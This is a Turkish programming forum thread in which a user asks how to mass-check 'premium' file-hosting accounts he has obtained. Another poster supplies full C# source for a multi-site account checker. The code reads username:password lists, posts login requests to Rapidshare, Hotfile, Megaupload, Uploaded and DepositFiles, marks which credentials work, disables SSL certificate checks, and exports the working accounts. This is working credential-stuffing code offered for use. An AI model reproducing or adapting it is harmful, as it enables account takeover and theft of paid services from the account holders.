Visual Basic - Basic - PicBasic ve Türevleri
Visual Basic De Account Checker Nasıl Yapılır
Visual Basic De Account Checker Nasıl Yapılır
-
Merhaba arkadaşlar elime geçen premiumları ( hotfile,fileserve,turbobit) tek tek kontrol etmek çok zor oluyor ufak bir programla bunu daha pratik hale getirebilirmiyim acaba liste halinde programa yazıcam patır patır kontrol edicek programda nasıl yapılabilir önerilerinizi bekliyorum
VB6 Kullanıyorum Bu Arada
Şu Tarz Birşey
-
yada hazır bir program varmı bu adult şifre kıranlar nasıl check ediyor yaw metod söyleyin :D
-
mürit hackinger in kendisine sorsak daha iyi olur kanımca :)
takipçisiyim
-
Twitter bunu yazdı:
-----------------------------
mürit hackinger in kendisine sorsak daha iyi olur kanımca :)
takipçisiyim
http://www.tahribat.com/Murit-h4ckinger/
-----------------------------pm attım bakalım onada zor birşey oldugunu sanmıyorum :S
-
e nette online birçok uygulama var zaten. bazı indirme yöneticilerinde de var
-
angels_demos bunu yazdı:
-----------------------------
e nette online birçok uygulama var zaten. bazı indirme yöneticilerinde de var
-----------------------------tek üyelik değil 100 tane hesap bı seçşçem budeniyicek premiumsa premium yazcak fre se free
-
Listeyi belli bir formatta almalısın. Örneğin:
username:password username2:password
Satır satır okuyup ":" işaretinden parçalara ayırmalısın.
Daha sonra normal login oluyormuş gibi ilgili sayfaya post atarak dönen cevaba göre çalışıyor veya çalışmıyor şeklinde bildirim yapabilirsin.
Tabi bu söylediklerim teoride 5 satır sürüyor.
Eğer videodaki program hala çalışıyor olsaydı atabilirdim ama sitelerin yaptığı değişikliklerden ötürü artık çalışabilir durumda değil program.
Fikir vermesi açısından programda kullandığım temel fonksiyonları vereyim.
using System; using System.ComponentModel; using System.Text; using System.Windows.Forms; using System.Net;//request using System.IO; //stream namespace premiumchecker { public partial class Form1 : Form { public Form1() { InitializeComponent(); } public int premiumadet = 0; #region urlencode private string urlencode(string str) { return System.Web.HttpUtility.UrlEncode(str); } #endregion #region request via post public string request(string url,string referer,string postdata,bool ssl, string giden_cookie,out string gelen_cookie) { string sonuc; gelen_cookie = ""; HttpWebRequest WebReq = (HttpWebRequest)WebRequest.Create(url); WebReq.Credentials = CredentialCache.DefaultCredentials; if (ssl) { ServicePointManager.ServerCertificateValidationCallback = ((sender, certificate, chain, sslPolicyErrors) => true);//ssl } System.Net.ServicePointManager.Expect100Continue = false; WebReq.AllowAutoRedirect = true; byte[] buffer = Encoding.ASCII.GetBytes(postdata); WebReq.Method = "POST"; WebReq.Referer = referer; WebReq.Timeout = 15000; WebReq.Headers.Add("Cookie", giden_cookie); WebReq.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4"; WebReq.ContentType = "application/x-www-form-urlencoded"; WebReq.ContentLength = buffer.Length; Stream PostData = WebReq.GetRequestStream(); PostData.Write(buffer, 0, buffer.Length); PostData.Close(); try { WebResponse webResponse = WebReq.GetResponse(); StreamReader sr = new StreamReader(webResponse.GetResponseStream()); sonuc = sr.ReadToEnd(); gelen_cookie = webResponse.Headers["Set-cookie"]; } catch (TimeoutException ex) { sonuc = "timeout"; } return sonuc; } #endregion #region rapidshare kontrol public bool rapidshare_kontrol(string user,string pass) { string url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi"; string postdata = "uselandingpage=1&login="+user+"&password="+pass; string referer = "http://www.rapidshare.com"; string cookie; bool ssl = true; string ac=request(url, referer, postdata, ssl,"",out cookie); return (ac.Contains("has not been found") || ac.Contains("password is incorrect") || ac.Contains("Invalid login") || ac.Contains("Invalid password")) ? false : true; } #endregion #region rapidshare baslat private void rapidshare_baslat() { foreach (ListViewItem lvi in listView1.Items) { if (backgroundWorker2.CancellationPending) break; string user = urlencode(lvi.SubItems[1].Text); string pass = urlencode(lvi.SubItems[2].Text); if (user == "" || pass == "") { this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[3], "Missing param.." }); this.Invoke(new progress_artircb(progress_artir)); continue; } bool durum = rapidshare_kontrol(user, pass); this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[3], durum ? "Working" : "Patlak" }); this.Invoke(new progress_artircb(progress_artir)); } } #endregion #region hotfile kontrol public bool hotfile_kontrol(string user, string pass) { string url = "http://new.hotfile.com/login.php?lang=en"; string postdata = "returnto=%2F&user="+user+"&pass="+pass; string referer = "http://hotfile.com/login.php?cookiecheck=1"; string cookie; bool ssl = false; string ac = request(url, referer, postdata, ssl,"",out cookie); return (ac.Contains("Bad username/password") || ac.Contains("Renew account")) ? false : true; } #endregion #region hotfile baslat private void hotfile_baslat() { foreach (ListViewItem lvi in listView1.Items) { if (backgroundWorker3.CancellationPending) break; string user = urlencode(lvi.SubItems[1].Text); string pass = urlencode(lvi.SubItems[2].Text); if (user == "" || pass == "") { this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[4], "Missing param.." }); this.Invoke(new progress_artircb(progress_artir)); continue; } bool durum = hotfile_kontrol(user, pass); this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[4], durum ? "Working" : "patlak" }); this.Invoke(new progress_artircb(progress_artir)); } } #endregion #region megaupload kontrol public bool megaupload_kontrol(string user, string pass) { string url = "http://www.megaupload.com/?c=account&setlang=en"; string postdata = "login=1&username=" + user + "&password=" + pass; string referer = "http://www.megaupload.com/?c=login"; string cookie; bool ssl = false; string ac = request(url, referer, postdata, ssl,"",out cookie); return (!ac.Contains("You are a premium member")) ? false : true; } #endregion #region megaupload baslat private void megaupload_baslat() { foreach (ListViewItem lvi in listView1.Items) { if (backgroundWorker4.CancellationPending) break; string user = urlencode(lvi.SubItems[1].Text); string pass = urlencode(lvi.SubItems[2].Text); if (user == "" || pass == "") { this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[5], "Missing param.." }); this.Invoke(new progress_artircb(progress_artir)); continue; } bool durum = megaupload_kontrol(user, pass); this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[5], durum ? "Working" : "patlak" }); this.Invoke(new progress_artircb(progress_artir)); } } #endregion #region uploaded kontrol public bool uploaded_kontrol(string user, string pass) { string url = "http://uploaded.to/login"; string postdata = "email=" + user + "&password=" + pass; string referer = "http://uploaded.to"; string cookie; bool ssl = false; string ac = request(url, referer, postdata, ssl,"",out cookie); return (ac.Contains("Login failed!")) ? false : true; } #endregion #region uploaded baslat private void uploaded_baslat() { foreach (ListViewItem lvi in listView1.Items) { if (backgroundWorker5.CancellationPending) break; string user = urlencode(lvi.SubItems[1].Text); string pass = urlencode(lvi.SubItems[2].Text); if (user == "" || pass == "") { this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[6], "Missing param.." }); this.Invoke(new progress_artircb(progress_artir)); continue; } bool durum = uploaded_kontrol(user, pass); this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[6], durum ? "Working" : "patlak" }); this.Invoke(new progress_artircb(progress_artir)); } } #endregion #region depositfiles kontrol public bool depositfiles_kontrol(string user, string pass) { string url = "http://depositfiles.com/en/login.php?return=%2Fen%2F"; string postdata = "go=1&login=" + user + "&password=" + pass; string referer = "http://depositfiles.com/en/"; string cookie; bool ssl = false; string ac = request(url, referer, postdata, ssl,"",out cookie); return (ac.Contains("login is incorrect") || !ac.Contains("Redirecting... If browser do not redirect you automaticaly")) ? false : true; } #endregion #region depositfiles baslat private void depositfiles_baslat() { foreach (ListViewItem lvi in listView1.Items) { if (backgroundWorker6.CancellationPending) break; string user = urlencode(lvi.SubItems[1].Text); string pass = urlencode(lvi.SubItems[2].Text); if (user == "" || pass == "") { this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[7], "Missing param.." }); this.Invoke(new progress_artircb(progress_artir)); continue; } bool durum = depositfiles_kontrol(user, pass); this.Invoke(new setstatussubitemcb(setstatussubitem), new object[] { lvi.SubItems[7], durum ? "Working" : "patlak" }); this.Invoke(new progress_artircb(progress_artir)); } } #endregion #region baslat private void baslat() { premiumadet = 0; int carp = 0; if (rapidsharecomToolStripMenuItem.Checked && !backgroundWorker2.IsBusy) { backgroundWorker2.RunWorkerAsync(); carp++; } if (hotfilecomToolStripMenuItem.Checked && !backgroundWorker3.IsBusy) { backgroundWorker3.RunWorkerAsync(); carp++; } if (megauploadcomToolStripMenuItem.Checked && !backgroundWorker4.IsBusy) { backgroundWorker4.RunWorkerAsync(); carp++; } if (uploadedtoToolStripMenuItem.Checked && !backgroundWorker5.IsBusy) { backgroundWorker5.RunWorkerAsync(); carp++; } if (depositfilescomToolStripMenuItem.Checked && !backgroundWorker6.IsBusy) { backgroundWorker6.RunWorkerAsync(); carp++; } toolStripProgressBar1.Maximum = listView1.Items.Count * carp; } #endregion #region stop private void stop() { backgroundWorker2.CancelAsync(); backgroundWorker3.CancelAsync(); backgroundWorker4.CancelAsync(); backgroundWorker5.CancelAsync(); backgroundWorker6.CancelAsync(); } #endregion #region listeyukle private void listeyukle(string dosya) { int sayac = 0; string satir; StreamReader oku = new StreamReader(dosya); while ((satir = oku.ReadLine()) != null) { sayac++; setstatuscb cb = new setstatuscb(setstatus); this.Invoke(cb, new object[] { "Loaded : " + sayac.ToString() }); string[] user_pass = satir.Trim().Split(':'); ListViewItem lvi = new ListViewItem(new string[] { sayac.ToString(), user_pass[0],user_pass[1],"","","","",""}); listView1.Items.Add(lvi); } oku.Close(); } #endregion #region export private void export() { string dosyaismi = toolStripComboBox1.Text; SaveFileDialog dlg = new SaveFileDialog(); dlg.Title = "Save " + dosyaismi + " premium accounts"; dlg.FileName = dosyaismi + ".txt"; if (dlg.ShowDialog() == DialogResult.OK) { int sub = toolStripComboBox1.SelectedIndex + 2; if (sub == 2) //hepsi { FileInfo dosya = new FileInfo(dlg.FileName); StreamWriter yazici = dosya.CreateText(); foreach (ListViewItem lvi in listView1.Items) { for (int i = 3; i <= lvi.SubItems.Count-1; i++) { if (lvi.SubItems[i].Text == "Working") { string user = lvi.SubItems[1].Text; string pass = lvi.SubItems[2].Text; yazici.WriteLine(listView1.Columns[i].Text + " Premium - " + user + ":" + pass); } } } yazici.Close(); MessageBox.Show("Exporting finished", "finished", MessageBoxButtons.OK, MessageBoxIcon.Information); } else //seçili olan { FileInfo dosya = new FileInfo(dlg.FileName); StreamWriter yazici = dosya.CreateText(); foreach (ListViewItem lvi in listView1.Items) { if (lvi.SubItems[sub].Text == "Working") { string user = lvi.SubItems[1].Text; string pass = lvi.SubItems[2].Text; yazici.WriteLine(user + ":" + pass); } } yazici.Close(); MessageBox.Show("Exporting finished", "finished", MessageBoxButtons.OK, MessageBoxIcon.Information); } } } #endregion #region delegatetoolstrip delegate void setstatuscb(string text); private void setstatus(string text) { toolStripStatusLabel1.Text = text; } #endregion #region delegaprogress delegate void progress_artircb(); private void progress_artir() { toolStripProgressBar1.Value++; toolStripStatusLabel1.Text = "Request no:" + toolStripProgressBar1.Value; } #endregion #region delegate sub item delegate void setstatussubitemcb(ListViewItem.ListViewSubItem item,string text); private void setstatussubitem(ListViewItem.ListViewSubItem item,string text) { if(text=="Working") { premiumadet++; toolStripStatusLabel2.Text = "Found:" + premiumadet.ToString(); } item.Text = text; } #endregion private void closeToolStripMenuItem_Click(object sender, EventArgs e) { //test yapmışım //MessageBox.Show(megaupload_kontrol("kid_123", "7&agu4U=Ak").ToString()); Application.Exit(); } private void loadToolStripMenuItem_Click(object sender, EventArgs e) { OpenFileDialog dlg = new OpenFileDialog(); dlg.Title = "Select username password list"; if (dlg.ShowDialog() == DialogResult.OK) { listView1.Items.Clear(); backgroundWorker1.RunWorkerAsync(dlg.FileName); } } private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e) { listeyukle((string)e.Argument); } private void startToolStripMenuItem_Click(object sender, EventArgs e) { baslat(); } private void backgroundWorker2_DoWork(object sender, DoWorkEventArgs e) { rapidshare_baslat(); } private void backgroundWorker3_DoWork(object sender, DoWorkEventArgs e) { hotfile_baslat(); } private void backgroundWorker4_DoWork(object sender, DoWorkEventArgs e) { megaupload_baslat(); } private void backgroundWorker5_DoWork(object sender, DoWorkEventArgs e) { uploaded_baslat(); } private void backgroundWorker6_DoWork(object sender, DoWorkEventArgs e) { depositfiles_baslat(); } private void stopToolStripMenuItem_Click(object sender, EventArgs e) { stop(); } private void Form1_Load(object sender, EventArgs e) { toolStripComboBox1.SelectedIndex = 0; } private void exportToolStripMenuItem1_Click(object sender, EventArgs e) { export(); } private void contextMenuStrip1_Opening(object sender, CancelEventArgs e) { e.Cancel = (listView1.Items.Count == 0); } private void userToolStripMenuItem_Click(object sender, EventArgs e) { Clipboard.SetText(listView1.SelectedItems[0].SubItems[1].Text);//username } private void passwordToolStripMenuItem_Click(object sender, EventArgs e) { Clipboard.SetText(listView1.SelectedItems[0].SubItems[2].Text);//password } private void userpassToolStripMenuItem_Click(object sender, EventArgs e) { Clipboard.SetText(listView1.SelectedItems[0].SubItems[1].Text +":"+ listView1.SelectedItems[0].SubItems[2].Text); } private void aboutToolStripMenuItem_Click(object sender, EventArgs e) { MessageBox.Show("Multi Premium Account Checker\r\nCoded by h4ckinger\r\nhttp://www.h4ckinger.org\r\n", "About", MessageBoxButtons.OK, MessageBoxIcon.Information); } } }
-
çömert müridimiz